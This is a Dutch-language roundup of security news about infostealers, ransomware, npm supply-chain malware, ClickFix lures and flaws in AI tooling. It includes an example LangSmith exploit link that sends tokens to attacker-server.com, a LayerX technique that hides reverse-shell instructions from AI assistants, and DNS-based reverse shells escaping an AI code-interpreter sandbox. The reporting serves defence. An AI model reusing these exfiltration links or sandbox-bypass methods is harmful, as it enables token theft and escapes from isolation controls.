Wat deze dreiging moeilijk te detecteren maakt, is wat er direct na de diefstal van de inloggegevens gebeurt. De valse VPN client geeft een overtuigend foutbericht weer en leidt het slachtoffer vervolgens naar de officiële website van de VPN leverancier om de echte VPN software te downloaden. Als de legitieme client normaal installeert en verbinding maakt, heeft het slachtoffer geen reden om te vermoeden dat zijn inloggegevens al zijn gestolen. Er zijn geen zichtbare tekenen van compromittering, waardoor de meeste slachtoffers zich van geen kwaad bewust zijn.

De bredere impact ligt bij organisaties die afhankelijk zijn van VPN toegang voor werken op afstand. Gestolen inloggegevens maken laterale beweging over bedrijfsnetwerken, ongeautoriseerde toegang tot gegevens en destructieve vervolgaanvallen mogelijk. Omdat deze campagne meerdere vertrouwde VPN merken imiteert, strekt het slachtofferpool zich uit over vele industrieën en regio's.

De aanval levert zijn payload via een Windows Installer (MSI)-pakket, verborgen in een ZIP bestand. Wanneer een slachtoffer de valse MSI uitvoert - vermomd als een Pulse Secure installatieprogramma - plaatst deze Pulse.exe samen met twee schadelijke DLL bestanden, dwmapi.dll en inspector.dll, allemaal geïnstalleerd onder %CommonFiles%\Pulse Secure om een legitiem installatiepad na te bootsen. Het bestand dwmapi.dll werkt als een in-memory loader en voert shellcode uit die inspector.dll laadt - een variant van de Hyrax infostealer. Hyrax legt VPN inloggegevens vast die zijn ingevoerd via het valse inlogscherm en leest opgeslagen configuratiegegevens van C:\ProgramData\Pulse Secure\ConnectionStore\connectionstore.dat, waarbij alles naar 194.76.226[.]93:8080 wordt verzonden. Om persistentie te behouden, voegt de malware Pulse.exe toe aan de Windows RunOnce registersleutel, waardoor deze automatisch wordt uitgevoerd bij elke herstart van het apparaat.

De digitale handtekeningen op deze schadelijke bestanden zorgden ervoor dat ze standaard Windows beveiligingswaarschuwingen en bepaalde applicatietoestaatbeleidsregels konden omzeilen. Microsoft vond extra bestanden met hetzelfde certificaat, waaronder valse installatieprogramma's voor GlobalProtect VPN en Sophos Connect, wat aantoont dat de campagne zich uitstrekt tot ver buiten een enkel geïmiteerd merk.

Om het risico van deze dreiging te verminderen, wordt aanbevolen software alleen rechtstreeks van de officiële websites van leveranciers te downloaden en downloadlinks die via zoekresultaten worden aangeboden te vermijden. Het afdwingen van multi-factor authenticatie op alle accounts is cruciaal, aangezien gestolen VPN wachtwoorden alleen geen toegang kunnen verlenen wanneer MFA aanwezig is. Organisaties wordt aangeraden endpoint detection and response-tools in blokkeermodus uit te voeren, zowel netwerk- als webbeveiliging in te schakelen en regels voor aanvalsrisicovermindering toe te passen om niet-vertrouwde uitvoerbare bestanden te blokkeren. Werknemers dienen geen bedrijfsgegevens op te slaan in browsers en beveiligingsteams dienen alle bestanden te onderzoeken die zijn ondertekend door niet-erkende of recentelijk ingetrokken certificeringsinstanties.

Bron: Microsoft

Onderzoekers van LayerX hebben een nieuwe fontrendering techniek ontdekt waarmee kwaadaardige commando's op webpagina's verborgen kunnen worden voor AI tools. De aanval maakt gebruik van social engineering om gebruikers te overtuigen een schadelijk commando uit te voeren, terwijl de onderliggende HTML gecodeerd blijft, waardoor AI assistenten de code niet kunnen analyseren.

Het proof-of-concept (PoC) van LayerX maakt gebruik van aangepaste lettertypen die karakters opnieuw toewijzen via glyph substitutie en CSS om de goedaardige tekst te verbergen door middel van een kleine lettergrootte of specifieke kleurselectie. Hierdoor wordt de payload duidelijk weergegeven op de webpagina. Tijdens tests analyseerden AI tools de HTML van de pagina en zagen alleen de ongevaarlijke tekst, maar ze controleerden de kwaadaardige instructie die aan de gebruiker werd getoond niet. Om het gevaarlijke commando te verbergen, codeerden de onderzoekers het zodat het er voor een AI assistent uitziet als betekenisloze, onleesbare inhoud. De browser decodeert de blob echter en toont deze op de pagina.

Volgens LayerX was deze techniek in december 2025 succesvol tegen meerdere populaire AI assistenten, waaronder ChatGPT, Claude, Copilot, Gemini, Leo, Grok, Perplexity, Sigma, Dia, Fellou en Genspark. De onderzoekers leggen uit dat een AI assistent een webpagina analyseert als gestructureerde tekst, terwijl een browser die webpagina omzet in een visuele weergave voor de gebruiker. Binnen deze renderinglaag kunnen aanvallers de betekenis van een pagina wijzigen zonder de onderliggende DOM te veranderen. Dit verschil tussen wat de assistent ziet en wat de gebruiker ziet, resulteert in onnauwkeurige reacties, gevaarlijke aanbevelingen en verminderd vertrouwen.

De aanval begint wanneer een gebruiker een pagina bezoekt die veilig lijkt en een beloning belooft als een commando voor een reverse shell op de machine wordt uitgevoerd. Als het slachtoffer de AI assistent vraagt om te bepalen of de instructies veilig zijn, ontvangen ze een geruststellend antwoord. Om de aanval te demonstreren, creëerde LayerX een PoC pagina die een easter egg belooft voor de videogame Bioshock als de gebruiker de instructies op het scherm volgt. De onderliggende HTML code van de pagina bevat ongevaarlijke tekst die verborgen is voor de gebruiker maar niet voor de AI assistent, en de gevaarlijke instructie die wordt genegeerd door de AI tool omdat deze gecodeerd is, maar zichtbaar is voor de gebruiker via een aangepast lettertype. Op deze manier interpreteert de assistent alleen het goedaardige deel van de pagina en kan deze niet correct reageren wanneer wordt gevraagd of het commando veilig is om uit te voeren.

LayerX meldde hun bevindingen op 16 december 2025 aan de leveranciers van de getroffen AI assistenten, maar de meesten classificeerden het probleem als 'buiten bereik' omdat het social engineering vereist. Microsoft was de enige die het rapport accepteerde en een volledige openbaarmakingsdatum aanvraagde, en escaleerde het door een case in MSRC te openen. LayerX merkt op dat Microsoft het probleem volledig heeft opgelost. Google accepteerde het rapport aanvankelijk en kende er een hoge prioriteit aan toe, maar degradeerde en sloot de kwestie later, omdat het geen significante schade aan de gebruiker zou kunnen veroorzaken en overdreven afhankelijk zou zijn van social engineering.

De algemene aanbeveling voor gebruikers is dat AI assistenten niet blindelings mogen worden vertrouwd, omdat ze mogelijk geen bescherming bieden tegen bepaalde soorten aanvallen. LayerX zegt dat een LLM die zowel de gerenderde pagina als de tekst-only DOM analyseert en ze vergelijkt, beter in staat zou zijn om het veiligheidsniveau voor de gebruiker te bepalen. De onderzoekers geven aanvullende aanbevelingen aan LLM leveranciers, waaronder het behandelen van lettertypen als een potentieel aanvalsoppervlak en het uitbreiden van parsers om te scannen op overeenkomsten tussen voorgrond- en achtergrondkleuren, bijna-nul opaciteit en kleinere lettertypen.

Bron: LayerX | Bron 2: hubs.li

Volgens een analyse van Google over het ransomwarelandschap in 2025, stelen criminelen steeds vaker gegevens bij ransomwareaanvallen. Ook richten ze zich vaker op kleinere organisaties die minder goed beveiligd zijn dan grote ondernemingen. Bij 77 procent van de onderzochte ransomwareaanvallen in 2025 was er sprake van datadiefstal, tegenover 57 procent een jaar eerder. Aanvallers dreigen gestolen data via hun eigen website openbaar te maken als aangevallen organisaties geen losgeld betalen.

Een andere trend die Google waarnam, betreft de winstgevendheid van ransomwareaanvallen. Die staat volgens het techbedrijf onder druk, waardoor criminelen voor andere methodes en tactieken kiezen. Er kan een nadruk komen te liggen op het alleen stelen van data en het niet meer versleutelen van bestanden. Grotere organisaties zijn lastiger aan te vallen, weigeren vaker losgeld te betalen en kunnen beter van een aanval herstellen. Google baseert zich op de namen van aangevallen bedrijven die criminelen op hun eigen dataleksites noemen.

Google keek ook naar de manieren waarop ransomwareaanvallen plaatsvinden. Bij één derde van de onderzochte aanvallen waren de aanvallers binnengekomen door misbruik te maken van kwetsbaarheden, voornamelijk in vpn's en firewalls, zoals Fortinet, SonicWall, Palo Alto Networks en Citrix. Ook zag Google misbruik van andere blootgestelde services, waaronder Veritas Backup Exec, Zoho ManageEngine, Microsoft Sharepoint en SAP Netweaver. Verder blijkt dat aanvallers ook vaak gebruikmaken van gestolen inloggegevens en bruteforceaanvallen.

Google verwacht dat ransomware één van de grootste dreigingen wereldwijd blijft. De afgenomen winstgevendheid kan er echter voor zorgen dat aanvallers andere manieren zoeken om inkomsten te genereren. Dit kan leiden tot een toename van aanvallen waarbij alleen data wordt gestolen, agressievere afpersingstactieken of het opportunistisch gebruik van gehackte omgevingen om extra geld te verdienen, bijvoorbeeld door phishingberichten te versturen.

Bron: Google

Cybersecurity experts van Acronis TRU hebben een grootschalige campagne ontdekt waarbij het Vidar 2.0 informatie steelprogramma wordt verspreid via platforms zoals GitHub en Reddit. Hackers verstoppen kwaadaardige links achter professioneel ogende afbeeldingen op GitHub en gebruiken Discord of Reddit om potentiële slachtoffers te identificeren.

De aangeboden cheats vragen gebruikers vaak om hun antivirussoftware uit te schakelen om te kunnen functioneren. Dit vormt een val, omdat cheats zich van nature als virussen gedragen om de game security te omzeilen. Slachtoffers negeren de waarschuwingen en geven zo de controle over hun pc uit handen. Vooral jongere spelers die mogelijk geen geld hebben voor betaalde abonnementen zijn het doelwit. Zij negeren veiligheidswaarschuwingen en schamen zich vaak om de hack te melden, omdat ze probeerden te frauderen.

Volgens de onderzoekers wordt de schaal van de oplichting waarschijnlijk onderschat. Ze vonden honderden kwaadaardige pagina's, maar het werkelijke aantal zou in de duizenden kunnen lopen. Hackers gebruiken technische trucs zoals PowerShell scripts om het virus stilletjes te installeren. Het stelt zichzelf in om te draaien bij elke login en weigert te draaien als het een virtuele omgeving van een security researcher detecteert.

Vidar 2.0 heeft een complete technische herschrijving ondergaan. De code is veranderd van C++ naar C, waardoor het sneller en stealthier is geworden. Vidar bestaat al sinds 2018, maar ziet nu een opleving na de recente sluiting van zijn belangrijkste rivalen, Lumma en Rhadamanthys. Vidar opereert als Malware-as-a-Service (MaaS), waarbij criminelen tussen de $130 en $750 betalen om het te gebruiken.

De nieuwe versie van het virus is gevaarlijker dan oudere versies en richt zich op Monero cryptocurrency wallets en login tokens voor Discord, Steam en Telegram. Het zoekt zelfs naar Microsoft Azure mappen en professionele tools zoals FileZilla om serverwachtwoorden te stelen, waardoor hackers mogelijk toegang krijgen tot de netwerken van het slachtoffer op het werk. Om het persoonlijker te maken, maakt het een screenshot.jpg van het bureaublad van de gebruiker en kopieert het bestanden uit de mappen Documenten en Downloads.

Om niet betrapt te worden, gebruiken de virussen Telegram bots en Steam profielen als "dead drop" locaties om verborgen instructies te ontvangen. Door op te gaan in normaal verkeer van deze populaire apps, voltooit de malware vaak zijn missie voordat het slachtoffer zelfs maar beseft dat er iets mis is.

Bron: Acronis

Proofpoint heeft Proofpoint AI Security aangekondigd, een beveiligingsoplossing die op intentie gebaseerde detectie, multi-surface controlepunten en een implementatiekader combineert om te beveiligen hoe mensen en AI agents AI gebruiken binnen een organisatie. De oplossing is gebaseerd op het Agent Integrity Framework, dat definieert hoe een AI agent integer opereert. Proofpoint introduceert een vijf-fasen model voor implementatie, van initiële ontdekking tot runtime handhaving.

Organisaties zetten steeds vaker autonome AI agents in om op het web te surfen, toegang te krijgen tot interne systemen, e-mails te verzenden, code uit te voeren en workflows te organiseren. Dit brengt risico's met zich mee, zoals agentic privilege escalation en zero-click prompt injection attacks. Een enkel AI verzoek kan tientallen autonome acties triggeren in meerdere systemen, vaak op machine snelheid en zonder menselijk toezicht. Bestaande beveiligingstools kunnen verkeer en permissies zien, maar evalueren niet of AI gedrag overeenkomt met de oorspronkelijke intentie van de gebruiker.

Uit onderzoek van Acuvity, recentelijk overgenomen door Proofpoint, blijkt dat 70% van de organisaties geen geoptimaliseerde AI governance heeft en 50% verwacht aan AI gerelateerde dataverlies binnen 12 maanden. Proofpoint AI Security dicht dit gat door op intentie gebaseerde detectiemodellen toe te passen en continu te evalueren of AI gedrag, geïnitieerd door een mens of een autonome agent, overeenkomt met het oorspronkelijke verzoek, gedefinieerde beleidsregels en het beoogde doel. Door de volledige context van AI interacties te analyseren, signaleert de oplossing afwijkende of risicovolle acties in real time, voordat schade optreedt, zoals non-compliant communicatie of dataverlies.

De Proofpoint AI Security werkt via een uniforme architectuur voor de agentic workspace en is actief op de oppervlakken waar AI wordt gebruikt, waaronder endpoints, browser extensies en MCP verbindingen. Organisaties krijgen zo de zichtbaarheid en controle die nodig is over AI gebruik en risico's. Via deze controlepunten kunnen organisaties gesanctioneerde en niet-gesanctioneerde AI tools ontdekken, prompts, antwoorden en datastromen observeren tijdens AI tool gebruik, toegangscontroles en guardrails toepassen op AI gebruik en runtime inspectie implementeren en beleidsregels handhaven tijdens live AI interacties.

Om een gestructureerd pad te bieden voor de implementatie van AI governance, introduceert Proofpoint het Agent Integrity Framework, een gids die definieert wat het betekent voor een AI agent om integer te opereren. Het biedt een vijf-fasen model voor implementatie, van initiële ontdekking tot runtime handhaving. Het framework definieert Agent Integrity als de zekerheid dat een AI agent opereert binnen de grenzen van het beoogde doel, geautoriseerde permissies en verwacht gedrag, over elke interactie, tool call en data toegang.

Bron: Proofpoint | Bron 2: acuvity.ai

De ransomwaregroep LeakNet verspreidt malware via gehackte WordPress-sites door gebruik te maken van de ClickFix-methode. Dit meldt securitybedrijf ReliaQuest. Bij een ClickFix-aanval krijgen internetgebruikers een CAPTCHA te zien. Om deze te "oplossen" moeten gebruikers instructies volgen die in werkelijkheid een malafide commando op hun systeem uitvoeren, waardoor malware wordt gedownload en uitgevoerd.

De aanvallers injecteren de malafide code die de CAPTCHA weergeeft op gehackte WordPress-sites. Hoe deze sites gecompromitteerd worden, is niet bekendgemaakt door de onderzoekers van ReliaQuest. Eerder waarschuwde Rapid7 al voor honderden gehackte WordPress-sites die via een Cloudflare-CAPTCHA malware verspreiden, specifiek malware voor infostealer die wachtwoorden en andere inloggegevens steelt.

LeakNet gebruikt deze werkwijze om de Deno runtime omgeving te installeren, een omgeving die normaliter gebruikt wordt voor applicatie-ontwikkeling. De aanvallers gebruiken Deno om malafide code uit te voeren. De payload wordt voornamelijk in het geheugen uitgevoerd, wat detectie bemoeilijkt. De aanvallers proberen zich vervolgens lateraal door het netwerk te bewegen om data te stelen en bestanden te versleutelen.

ReliaQuest meldt dat door ClickFix te gebruiken, elke medewerker die websites bezoekt een toegangspunt kan vormen. De ClickFix-campagne van LeakNet richt zich niet op specifieke gebruikers of bedrijven, maar gooit een groot net uit en vertrouwt op massa. Een datalek bij de gemeente Epe werd eerder al veroorzaakt door een ClickFix-aanval.

Bron: ReliaQuest

De operator 'Pryx' van de Hellcat-ransomwaregroep is volgens een threat intelligence alert verantwoordelijk voor diverse high-profile hacks, waaronder die bij Jaguar Land Rover, Telefónica en Schneider Electric. De groep wordt er tevens van beschuldigd verantwoordelijk te zijn voor de dood van vier mensen en het verwonden van 27 anderen, nadat Pryx zou hebben ingebroken in het SCADA-netwerk van Telecom Egypt en brand zou hebben gesticht.

Bron: Int. Cyber Digest

Microsoft Defender Experts ontdekte half januari 2026 een manier waarop cybercriminelen gebruikers misleiden om hun persoonlijke gegevens te stelen. De groep, bekend als Storm-2561, zet valse websites op die lijken op de officiële downloadpagina's van VPN-software.

De aanvallers maken gebruik van SEO poisoning, waarbij ze zoekresultaten manipuleren zodat hun malafide websites bovenaan verschijnen bij zoekopdrachten naar bijvoorbeeld "Pulse VPN download". Gebruikers worden zo naar websites geleid zoals vpn-fortinet.com en ivanti-vpn.org. Deze sites bieden een download aan die er legitiem uitziet, maar in werkelijkheid een kwaadaardig ZIP-bestand is, gehost op GitHub-repositories. Deze bestanden bevatten een Trojaans paard dat zich voordoet als een vertrouwde VPN-client.

De software is digitaal ondertekend met een certificaat van Taiyuan Lihua Near Information Technology Co., Ltd. Dit certificaat is inmiddels ingetrokken. Door een echt certificaat te gebruiken, konden de hackers de beveiligingswaarschuwingen van Windows omzeilen en de installatie officieel laten lijken.

Het installatieprogramma plaatst bestanden in een map met de naam %CommonFiles%\Pulse Secure, dezelfde locatie die een echte VPN zou gebruiken. Dit helpt de malware om zich te mengen met legitieme VPN-software en argwaan te vermijden. Zodra de valse VPN wordt geopend, vraagt deze om een gebruikersnaam en wachtwoord. In plaats van verbinding te maken met het internet, gebruikt het een variant van de infostealer genaamd Hyrax om de gegevens te stelen en naar de servers van de hackers te sturen. Om de oplichting verborgen te houden, toont het programma een nep-foutmelding en verwijst het de gebruiker naar de echte website om de daadwerkelijke software te downloaden.

Het wordt aangeraden om software rechtstreeks van de officiële bedrijfswebsites te downloaden.

Bron: Microsoft

aanvallen met Ransomware zijn in 2025 minder winstgevend geworden, waardoor cybercriminelen hun tactieken aanpassen. Betalingspercentages zijn historisch laag en losgeldeisen zijn gedaald. Organisaties herstellen zich effectiever van aanvallen dan voorheen. Ondanks deze financiële druk trekken ransomware-actoren zich niet terug, maar passen ze hun methoden aan om hun activiteiten moeilijker te verstoren en hun afpersingsstrategieën lastiger te maken.

Volgens CoveWare bereikten de betalingspercentages in het vierde kwartaal van 2025 een historisch dieptepunt. Sophos meldde dat de gemiddelde losgeldeis met een derde daalde, van $2 miljoen in 2024 naar $1,34 miljoen in 2025. In 2024 kon bijna de helft van de ransomware-slachtoffers herstellen vanuit een back-up, vergeleken met slechts 11% in 2022.

Analisten van de Google Threat Intelligence Group (GTIG), onder leiding van Bavi Sadayappan, Zach Riddle, Ioana Teaca, Kimberly Goody en Genevieve Stark, identificeerden deze veranderende patronen door Mandiant incident response onderzoeken. Deze onderzoeken werden in 2025 uitgevoerd bij organisaties in Azië-Pacific, Europa, Noord-Amerika en Zuid-Amerika.

De analyse van Google Cloud-experts toonde aan dat REDBIKE de meest voorkomende ransomware-familie was, goed voor bijna 30% van alle waargenomen incidenten. Dit is een nieuw hoogtepunt dat de eerdere pieken van zowel LOCKBIT als ALPHV overtrof, die elk 17% bereikten in 2023.

Het ransomware-ecosysteem zelf onderging ook grote verstoringen in 2025. Prominente RaaS-operaties, waaronder LockBit, ALPHV, Basta en RansomHub, werden aanzienlijk verzwakt of ontmanteld door druk van wetshandhaving en interne conflicten. Qilin en Akira vulden het gat op, en het totale aantal slachtofferberichten op datalek sites overtrof de cijfers van 2024 met bijna 50%. Dreigingsactoren zijn ook meer gericht op kleinere organisaties, waarbij ze zich verwijderen van grote ondernemingen met volwassen verdedigingsmechanismen ten gunste van bedrijven met minder robuuste beveiligingsprogramma's.

GTIG waarschuwt dat dalende ransomware-winsten sommige actoren kunnen aanzetten tot alternatieve inkomstenstrategieën, zoals het uitvoeren van phishing-campagnes via gecompromitteerde infrastructuur of het te gelde maken van toegang tot slachtofferomgevingen op secundaire manieren.

Een opvallende verandering is de aanzienlijke toename van data-exfiltratie als primaire afpersingsmethode. GTIG observeerde bevestigde of vermoede datadiefstal in ongeveer 77% van de ransomware-intrusies, een sterke stijging ten opzichte van 57% het jaar ervoor. Aanvallers stelen nu vaak gevoelige bestanden voordat ze encryptie implementeren, waarbij ze dreigen de gestolen gegevens openbaar te maken op lek sites, zelfs als slachtoffers hun systemen vanuit een back-up weten te herstellen.

Om gegevens uit gecompromitteerde omgevingen te verplaatsen, vertrouwden dreigingsactoren op een mix van bekende en algemeen beschikbare tools. Rclone verscheen in ongeveer 28% van de datadiefstalincidenten om bestanden over te brengen naar door aanvallers gecontroleerde infrastructuur. Zowel Rclone als WinRAR werden waargenomen in ongeveer 23% van alle incidenten in 2025, een opmerkelijke stijging ten opzichte van 2024. FileZilla, WinSCP en cloudplatforms, waaronder MEGA, OneDrive en Azure, werden ook gebruikt als exfiltratiebestemmingen. Aanvallers richtten zich specifiek op juridische documenten, HR-records, accountingdata en business development-bestanden.

Organisaties wordt aangeraden sterke data loss prevention (DLP) maatregelen te implementeren, uitgaand verkeer te monitoren op ongebruikelijke of grote bestandsoverdrachten en het gebruik van niet-goedgekeurde tools zoals Rclone en AzCopy te beperken. Gedetailleerde logboeken van cloudopslagtoegang en zichtbaarheid in endpoint-activiteit kunnen een vroege waarschuwing geven van exfiltratiepogingen voordat gevoelige gegevens ooit door aanvallers gecontroleerde infrastructuur bereiken.

Bron: Google

Op 16 maart 2026 is een supply chain aanval ontdekt waarbij een dreigingsactor, bekend als Glassworm, twee veelgebruikte React Native npm packages heeft geïnfecteerd. De geïnfecteerde packages, `react-native-country-select@0.3.91` en `react-native-international-phone-number@0.11.8`, zijn door dezelfde uitgever (AstrOOnauta) gepubliceerd en hadden samen meer dan 134.887 downloads in de maand voorafgaand aan de aanval.

De aanval vereiste geen speciale actie van de doelwitten. Elke ontwikkelaar, CI runner of build agent die een standaard `npm install` commando uitvoerde, activeerde de malware. Beide releases introduceerden een nieuwe `preinstall` hook die een zwaar versluierd JavaScript-bestand genaamd `install.js` uitvoerde voordat het package volledig was geïnstalleerd.

Aikido onderzoekers identificeerden beide geïnfecteerde packages en reconstrueerden de volledige uitvoeringsketen. Hun analyse bevestigde dat het loader-bestand in beide packages identiek was. De kwaadaardige code werd geïntroduceerd via een nieuw `install.js`-bestand en een bijbehorende `preinstall`-entry in `package.json`.

In de week van de aanval werden de twee packages gecombineerd 29.763 keer gedownload, en 134.887 keer in de voorafgaande maand. Ontwikkelaars die mobiele applicaties bouwen met telefoonnummerinvoer of landselectiefuncties liepen direct gevaar, maar elk project dat deze packages als indirecte afhankelijkheden binnenhaalde, liep hetzelfde risico.

De infectieketen was zorgvuldig opgebouwd, met behulp van meerdere stadia en legitieme diensten van derden om verborgen te blijven. Zodra `install.js` op een Windows-machine werd uitgevoerd, scande het eerst het systeem op Russische taalmarkeringen. Als die aanwezig waren, stopte de malware.

Als de locale check was geslaagd, bevroeg het installatieprogramma een Solana blockchain account om een base64-gecodeerde URL op te halen die verborgen zat in een transactiememo. Het geretourneerde stage-two script leverde vervolgens decryptiesleutels om de stage-three payload te ontgrendelen – een complete Windows-gerichte stealer.

Die derde fase zette persistentie op via Windows Task Scheduler en de `Run` registry key, en gebruikte vervolgens een Google Calendar link als een extra relay voordat verdere componenten van een server onder controle van de aanvaller werden gehaald. De uiteindelijke payload verzamelde wallet data van MetaMask, Exodus, Atomic, Guarda, Coinomi, Trust Wallet en OKX Wallet, en oogstte ook opgeslagen npm tokens en GitHub credentials.

Ontwikkelaars wordt aangeraden lock files te controleren op `react-native-country-select@0.3.91` of `react-native-international-phone-number@0.11.8` en elke machine die een van beide versies heeft geïnstalleerd als gecompromitteerd te beschouwen. Roteer alle npm tokens, GitHub credentials en cryptocurrency wallet keys die toegankelijk waren op de getroffen systemen. Controleer uitgaande netwerklogs op verbindingen met `45[.]32[.]150[.]251` en `217[.]69[.]3[.]152`.

Bron: Aikido

Cybersecurity-onderzoekers hebben details onthuld over een nieuwe methode om gevoelige data te exfiltreren uit AI-code-uitvoeringsomgevingen met behulp van DNS-queries. BeyondTrust meldde dat Amazon Bedrock AgentCore Code Interpreter's sandbox-modus uitgaande DNS-queries toestaat, wat misbruikt kan worden om interactieve shells mogelijk te maken en netwerkisolatie te omzeilen. Dit probleem, zonder CVE-identificatie, heeft een CVSS-score van 7.5.

Amazon Bedrock AgentCore Code Interpreter is een service waarmee AI-agents veilig code kunnen uitvoeren in geïsoleerde sandbox-omgevingen. Kinnaird McQuade, chief security architect bij BeyondTrust, stelt dat het feit dat de service DNS-queries toestaat ondanks de "geen netwerktoegang" configuratie, het mogelijk maakt om command-and-control kanalen op te zetten en data te exfiltreren via DNS, waardoor de verwachte netwerkisolatie wordt omzeild.

In een experimenteel aanvalsscenario kan een dreigingsactor dit gedrag misbruiken om een bidirectioneel communicatiekanaal op te zetten via DNS-queries en -responses, een interactieve reverse shell te verkrijgen, gevoelige informatie te exfiltreren via DNS-queries (mits de IAM-rol toegang heeft tot AWS-resources zoals S3-buckets), en commando's uit te voeren. Het DNS-communicatiemechanisme kan ook worden misbruikt om extra payloads te leveren aan de Code Interpreter, waardoor deze de DNS command-and-control (C2) server pollst voor commando's opgeslagen in DNS A-records, deze uitvoert en de resultaten terugstuurt via DNS-subdomeinqueries.

Code Interpreter vereist een IAM-rol om toegang te krijgen tot AWS-resources. Een overgeprivilegieerde rol kan echter per ongeluk aan de service worden toegewezen, waardoor deze brede toegang krijgt tot gevoelige data. BeyondTrust benadrukt dat DNS-resolutie de netwerkisolatie van sandboxed code-interpreters kan ondermijnen. Aanvallers zouden zo gevoelige data kunnen exfiltreren van AWS-resources die toegankelijk zijn via de IAM-rol van de Code Interpreter, wat kan leiden tot downtime, datalekken of verwijderde infrastructuur.

Na melding in september 2025, beschouwt Amazon dit als beoogde functionaliteit en adviseert het klanten om VPC-modus te gebruiken in plaats van sandbox-modus voor volledige netwerkisolatie. Amazon adviseert ook het gebruik van een DNS-firewall om uitgaand DNS-verkeer te filteren. Jason Soroko van Sectigo adviseert beheerders om alle actieve AgentCore Code Interpreter instanties te inventariseren en kritieke data van Sandbox-modus naar VPC-modus te migreren. VPC biedt de infrastructuur voor robuuste netwerkisolatie, waardoor teams strikte security groups, netwerk ACL's en Route53 Resolver DNS Firewalls kunnen implementeren om ongeautoriseerde DNS-resolutie te monitoren en blokkeren.

Miggo Security meldde een high-severity security flaw in LangSmith (CVE-2026-25750, CVSS score: 8.5) die gebruikers blootstelde aan potentiële token diefstal en account overname. Dit probleem, dat zowel self-hosted als cloud deployments treft, is verholpen in LangSmith versie 0.12.71 (december 2025). Het betreft een URL parameter injectie door een gebrek aan validatie op de baseUrl parameter. Een aanvaller kan zo een bearer token, user ID en workspace ID stelen door een slachtoffer te verleiden op een kwaadaardige link te klikken, bijvoorbeeld: smith.langchain[.]com/studio/?baseUrl=https://attacker-server.com. Succesvolle exploitatie kan toegang geven tot de AI's trace history, interne SQL queries, CRM customer records of propriëtaire source code.

Orca Security ontdekte kwetsbaarheden in SGLang, een open-source framework voor het serveren van large language models en multimodale AI modellen. Succesvolle exploitatie kan leiden tot unsafe pickle deserialization, mogelijk resulterend in remote code execution. Het gaat om CVE-2026-3059 (CVSS score: 9.8), een unauthenticated remote code execution vulnerability via de ZeroMQ (ZMQ) broker, en CVE-2026-3060 (CVSS score: 9.8), een unauthenticated remote code execution vulnerability via de disaggregation module.

Bron: BeyondTrust | Bron 2: nvd.nist.gov | Bron 3: attacker-server.com

Een nieuwe campagne, genaamd Claude Fraud, maakt misbruik van de populariteit van AI tools zoals Claude om gevoelige gegevens te stelen, aldus het 7AI Threat Research Team. Softwareontwikkelaars en beveiligingsexperts zijn waardevolle doelwitten vanwege hun toegang tot bedrijfssystemen. De aanval slaagt omdat deze er niet verdacht uitziet voor mensen die deze tools dagelijks gebruiken.

De aanval maakt gebruik van zoekmachines om gebruikers naar overtuigende, valse websites te leiden, waarvan sommige zelfs gehost worden op claude.ai. Gebruikers worden gevraagd een commando in hun Terminal (op Mac) te kopiëren om een installatie te voltooien. Dit is een val genaamd ClickFix. Als de gebruiker de code uitvoert, wordt de MacSync-malware geïnstalleerd. Deze malware richt zich op macOS Keychain-credentials, zoals wachtwoorden, en wist zijn eigen sporen na het stelen van browsercookies en crypto-wallet keys. Tot nu toe zijn er meer dan 15.600 slachtoffers getroffen.

Een tweede versie van de aanval richt zich op Windows systemen via VS Code, een app voor programmeurs. Hackers hebben een valse Claude Code plugin gemaakt die ontwikkelaars installeren. Deze plugins draaien op de achtergrond en gebruiken PowerShell om de antivirussoftware te instrueren bepaalde mappen te negeren. Dit stelt de hackers in staat om een tweede virus, zoals een valse utility genaamd CrossMark2, onopgemerkt uit te voeren.

De aanvallers gebruikten gestolen advertentieaccounts van een kinderliefdadigheidsinstelling in Canada en een retailer in Colombia om hun valse advertenties door Google goedgekeurd te krijgen. Het is belangrijk om altijd de bron van een AI tool te controleren voordat deze op een machine wordt uitgevoerd.

Bron: 7AI

Microsoft waarschuwt softwareontwikkelaars voor een aanhoudende aanvalscampagne waarbij criminelen zich voordoen als recruiters van crypto- en AI-bedrijven. Deze aanvallers benaderen programmeurs met aantrekkelijke vacatures en verleiden hen om malafide code uit te voeren, wat kan leiden tot diefstal van gevoelige informatie. De campagne is al sinds 2022 actief.

De "sollicitatieprocedure" omvat een assessment waarbij de ontwikkelaars een npm-package moeten klonen en uitvoeren dat gehost wordt op platforms als GitHub, GitLab of Bitbucket. Het uitvoeren van dit malafide package activeert scripts die een backdoor op het systeem installeren. Bij recente aanvallen maakten de aanvallers gebruik van Visual Studio Code workflows.

Wanneer slachtoffers het malafide package in Visual Studio Code openen, verschijnt een vraag of ze de eigenaar van de repository vertrouwen. Als het doelwit deze vraag bevestigend beantwoordt, voert Visual Studio Code automatisch een bestand uit dat de backdoor installeert. Via deze backdoor kunnen de aanvallers toegang tot het systeem behouden, extra malware uitvoeren en gevoelige informatie stelen, waaronder API-tokens, cloud-inloggegevens, signing keys, cryptowallets en data gerelateerd aan wachtwoordmanagers.

Microsoft adviseert softwareontwikkelaars om voor programmeertests en opdrachten die thuis moeten worden gemaakt, een afgeschermde omgeving te gebruiken, zoals een non-persistent virtual machine. Het bedrijf raadt aan om geen primair zakelijk workstation te gebruiken dat toegang heeft tot productie-inloggegevens, interne repositories of privileged cloudsessies. Programmeurs moeten repositories die door recruiters worden aangedragen grondig controleren voordat ze scripts uitvoeren of dependencies installeren. Microsoft waarschuwt om "paste-and-run" commando's en "quick fix" instructies als risicovol te beschouwen.

Bron: Microsoft

Uit het State of Secrets Sprawl 2026 rapport van GitGuardian blijkt dat het aantal gelekte geheimen van AI-services op publieke GitHub repositories met 81 procent is gestegen ten opzichte van vorig jaar. In totaal werden 29 miljoen geheimen aangetroffen op publiek toegankelijke GitHub repositories.

API-sleutels voor AI-diensten zoals OpenAI, Anthropic, Google AI en andere grote taalmodellen vormen de snelst groeiende categorie van gelekte geheimen. Het rapport waarschuwt dat deze sleutels misbruikt kunnen worden voor ongeautoriseerde toegang tot AI modellen, waarmee aanvallers op kosten van het slachtoffer content kunnen genereren of gevoelige data uit fine-tuned modellen kunnen extraheren.

GitGuardian benadrukt dat organisaties hun secrets management moeten verbeteren, met name voor AI-integraties die steeds vaker in ontwikkelomgevingen worden gebruikt. Het bedrijf adviseert het gebruik van geautomatiseerde secret scanning in CI/CD pipelines en het regelmatig roteren van API-sleutels.

Bron: GitGuardian

Bron: gitguardian.com

